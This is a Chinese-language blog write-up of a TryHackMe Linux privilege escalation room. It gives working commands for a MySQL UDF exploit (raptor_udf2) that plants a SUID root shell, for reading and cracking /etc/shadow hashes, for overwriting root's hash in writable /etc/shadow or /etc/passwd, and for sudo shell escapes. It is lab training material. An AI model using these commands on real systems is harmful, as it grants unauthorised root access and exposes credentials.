【THM】Linux PrivEsc

发布时间 2023-12-09 19:09:53作者: trymonoly

服务漏洞利用

MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一种流行的漏洞利用用户定义函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。

MySQL(Linux)-UDF-exp地址链接:https://www.exploit-db.com/exploits/1518

相关漏洞详情:https://www.cvedetails.com/cve/CVE-2005-0711

该exp影响的目标范围:MySQL 4.x/5.0 (Linux) + 错误配置的 MySQLServer

切换到 /home/user/tools/mysql-udf 目录:

cd /home/user/tools/mysql-udf

使用以下命令编译 raptor_udf2.c 漏洞利用代码:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#使用 gcc 需要两次运行才能编译成一个共享对象。 #你可以在目标机或者攻击机上编译 C 代码,如果你在攻击机上编译它,请记住操作系统的体系结构可能不同,所以最好还是在目标机上进行编译

以 root 用户身份使用空白密码连接到 MySQL 服务:

mysql -u root

在MySQL shell上执行以下命令,使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:

#选择 mysql db
use mysql;

#我们需要创建一个临时表供我们使用。因为我们需要一个地方来加载共享的二进制文件到 MySQL。
create table foo(line blob);

#接下来需要将文件内容插入到表中
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));

#要使用UDF,我们还需要找到插件目录的位置,这就是我们需要存储文件的地方,可以通过命令找到:show variables like '%plugin%';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

#创建函数
create function do_system returns integer soname 'raptor_udf2.so';

#验证函数是否成功被创建:select * from mysql.func;

使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
退出 MySQL shell(键入 exit 或 \q 并按 Enter)并使用 -p 运行 /tmp/rootbash 可执行文件,以获得以 root 权限运行的 shell:
/tmp/rootbash -p

请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为您将稍后在房间中再次创建此文件!

rm /tmp/rootbash
exit

 弱文件权限 - 可读 /etc/shadow

/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可读的:

ls -l /etc/shadow

查看 /etc/shadow 文件的内容:

cat /etc/shadow

文件的每一行代表一个用户。用户的密码哈希值(如果有的话)可以在每行的第一个和第二个冒号 (:) 之间找到。

将根用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用开膛手约翰破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz然后根据您的 Kali 版本使用 sudo 运行命令:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

切换到root用户,使用破解的密码:su root

弱文件权限 - 可写 /etc/shadow

/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可写的:

ls -l /etc/shadow

使用您选择的密码生成新的密码哈希:

mkpasswd -m sha-512 newpasswordhere

编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。

使用新密码切换到 root 用户:

su root

弱文件权限 - 可写 /etc/passwd

/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。

请注意,/etc/passwd 文件是全局可写的:

ls -l /etc/passwd

使用您选择的密码生成新的密码哈希:

openssl passwd newpasswordhere

编辑 /etc/passwd 文件,并将生成的密码哈希值放在 root 用户行的第一个冒号和第二个冒号(:)之间(替换“x”)。

使用新密码切换到 root 用户:

su root

或者,复制 root 用户的行并将其附加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。

 

sudo - shell 转义序列

列出 sudo 允许用户运行的程序:

sudo -l

访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常通过转义序列。

从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。

对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!

#iftop的sudo提权命令
sudo iftop
!/bin/sh

#nano的sudo提权命令
sudo nano
^R^X
reset; sh 1>&0 2>&0

#vim的sudo提权命令
sudo vim -c ':!/bin/sh'  #还有其他可行命令,但是需要语言环境支持,具体请参考GTFOBins

#man的sudo提权命令
sudo man man
!/bin/sh

#awk的sudo提权命令
sudo awk 'BEGIN {system("/bin/sh")}'

#less的sudo提权命令
sudo less /etc/profile
!/bin/sh

#nmap的sudo提权命令(禁用输入回显)
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

#nmap的sudo提权命令(利用nmap版本2.02至5.21的交互模式)
sudo nmap --interactive
nmap> !sh

#more的sudo提权命令
TERM= sudo more /etc/profile
!/bin/sh

大概提权的想法都是用root身份去开一个窗口然后退出并执行/bin/bash